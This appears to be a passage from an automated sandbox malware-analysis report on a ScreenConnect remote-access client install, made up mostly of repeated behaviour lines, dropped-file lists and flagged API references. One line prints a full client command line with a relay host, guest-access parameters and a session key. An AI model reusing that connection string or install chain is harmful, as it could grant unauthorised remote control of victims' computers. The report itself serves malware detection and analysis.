                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeMemory allocated: 1870000 memory reserve | memory write watchJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeMemory allocated: 1FA0000 memory reserve | memory write watchJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeMemory allocated: 1DF0000 memory reserve | memory write watchJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeMemory allocated: 980000 memory reserve | memory write watchJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeMemory allocated: 1A380000 memory reserve | memory write watchJump to behavior
                  Source: C:\Windows\System32\msiexec.exeDropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.Core.dllJump to dropped file
                  Source: C:\Windows\System32\msiexec.exeDropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.dllJump to dropped file
                  Source: C:\Windows\SysWOW64\rundll32.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\ScreenConnect.Windows.dllJump to dropped file
                  Source: C:\Windows\SysWOW64\rundll32.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dllJump to dropped file
                  Source: C:\Windows\SysWOW64\rundll32.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\ScreenConnect.InstallerActions.dllJump to dropped file
                  Source: C:\Windows\System32\msiexec.exeDropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsCredentialProvider.dllJump to dropped file
                  Source: C:\Windows\System32\msiexec.exeDropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsAuthenticationPackage.dllJump to dropped file
                  Source: C:\Windows\System32\msiexec.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIBC6.tmpJump to dropped file
                  Source: C:\Windows\SysWOW64\rundll32.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\ScreenConnect.Core.dllJump to dropped file
                  Source: C:\Windows\System32\msiexec.exeDropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsBackstageShell.exeJump to dropped file
                  Source: C:\Windows\SysWOW64\rundll32.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\Microsoft.Deployment.Compression.dllJump to dropped file
                  Source: C:\Windows\System32\msiexec.exeDropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.Windows.dllJump to dropped file
                  Source: C:\Windows\System32\msiexec.exeDropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.Client.dllJump to dropped file
                  Source: C:\Windows\System32\msiexec.exeDropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsFileManager.exeJump to dropped file
                  Source: C:\Windows\SysWOW64\rundll32.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\Microsoft.Deployment.Compression.Cab.dllJump to dropped file
                  Source: C:\Windows\SysWOW64\rundll32.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\Microsoft.Deployment.WindowsInstaller.dllJump to dropped file
                  Source: C:\Windows\System32\msiexec.exeDropped PE file which has not been started: C:\Windows\Installer\MSI1608.tmpJump to dropped file
                  Source: C:\Windows\System32\msiexec.exeDropped PE file which has not been started: C:\Windows\Installer\MSI17AE.tmpJump to dropped file
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exe TID: 7696Thread sleep count: 40 > 30Jump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exe TID: 7936Thread sleep time: -30000s >= -30000sJump to behavior
                  Source: C:\Windows\System32\svchost.exe TID: 7888Thread sleep time: -30000s >= -30000sJump to behavior
                  Source: C:\Windows\System32\svchost.exeFile opened: PhysicalDrive0Jump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                  Source: C:\Windows\System32\msiexec.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                  Source: svchost.exe, 00000008.00000002.2942015906.0000017F93258000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2940590686.0000017F8DC2B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                  Source: ScreenConnect.ClientService.exe, 00000006.00000002.2948001083.0000000005508000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                  Source: C:\Windows\System32\msiexec.exeProcess information queried: ProcessInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeProcess token adjusted: DebugJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeMemory allocated: page read and write | page guardJump to behavior

                  HIPS / PFW / Operating System Protection Evasion

                  barindex
                  .NET source code references suspicious native API functions
                  Source: ScreenConnect.ClientService.dll.1.dr, ClientService.csReference to suspicious API methods: WindowsExtensions.OpenProcess(processID, (ProcessAccess)33554432)
                  Source: ScreenConnect.Windows.dll.1.dr, WindowsMemoryNativeLibrary.csReference to suspicious API methods: WindowsNative.VirtualAlloc(attemptImageBase, dwSize, WindowsNative.MEM.MEM_COMMIT | WindowsNative.MEM.MEM_RESERVE, WindowsNative.PAGE.PAGE_READWRITE)
                  Source: ScreenConnect.Windows.dll.1.dr, WindowsMemoryNativeLibrary.csReference to suspicious API methods: WindowsNative.LoadLibrary(loadedImageBase + ptr[i].Name)
                  Source: ScreenConnect.Windows.dll.1.dr, WindowsMemoryNativeLibrary.csReference to suspicious API methods: WindowsNative.GetProcAddress(intPtr, ptr5)
                  Source: ScreenConnect.Windows.dll.1.dr, WindowsMemoryNativeLibrary.csReference to suspicious API methods: WindowsNative.VirtualProtect(loadedImageBase + sectionHeaders[i].VirtualAddress, (IntPtr)num, flNewProtect, &pAGE)
                  Source: unknownProcess created: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exe "c:\program files (x86)\screenconnect client (3a24aebb8959bcfa)\screenconnect.clientservice.exe" "?e=access&y=guest&h=instance-xkznvd-relay.screenconnect.com&p=443&s=e3b17808-f02f-4082-a0ad-0ef89097505d&k=bgiaaackaabsu0exaagaaaeaaqbhw2nfb6zupkledihhdvtayuyd858sihfxvlo7ouduhfiakfl%2fps5vluffi688c%2ffi5cxvcjgfshxpqsjscre%2bvzhksrm%2bteue97q6nbz5oegi61hdzk9%2bjy6drnqvjn5o3w4r13ztthxrqvi92kieihsqur1j2%2fl4cjo7mr%2btf3z2fvvhba9ai44ir3hx7t6ycekwsxigwsjwulu6qmsua0yoa6ak5ubrkh%2fug0gs3wbetgsualtj1hdchea2xrvqmqyiwf1moawexddmh4ktymunwgxslao6chtqtobuldnoq2rzutbk681gaiktevzer9dayt7dfk5ghsogr7cx&c=envioparaiba20%2f10&c=&c=&c=&c=&c=&c=&c="
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000000.1732916566.0000000000042000.00000002.00000001.01000000.00000010.sdmp, ScreenConnect.WindowsClient.exe.1.drBinary or memory string: Progman
                  Source: ScreenConnect.WindowsClient.exe, 00000007.00000000.1732916566.0000000000042000.00000002.00000001.01000000.00000010.sdmp, ScreenConnect.WindowsClient.exe.1.drBinary or memory string: Shell_TrayWnd-Shell_SecondaryTrayWnd%MsgrIMEWindowClass
                  Source: C:\Windows\System32\msiexec.exeQueries volume information: C:\ VolumeInformationJump to behavior
                  Source: C:\Windows\System32\msiexec.exeQueries volume information: C:\ VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeQueries volume information: C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\Microsoft.Deployment.WindowsInstaller.dll VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeQueries volume information: C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\ScreenConnect.InstallerActions.dll VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeQueries volume information: C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\ScreenConnect.Core.dll VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeQueries volume information: C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\ScreenConnect.Windows.dll VolumeInformationJump to behavior
                  Source: C:\Windows\SysWOW64\rundll32.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeQueries volume information: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.dll VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeQueries volume information: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.dll VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeQueries volume information: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.Core.dll VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeQueries volume information: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.Windows.dll VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeQueries volume information: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.Client.dll VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exe VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.Client.dll VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.Core.dll VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.Windows.dll VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.dll VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformationJump to behavior
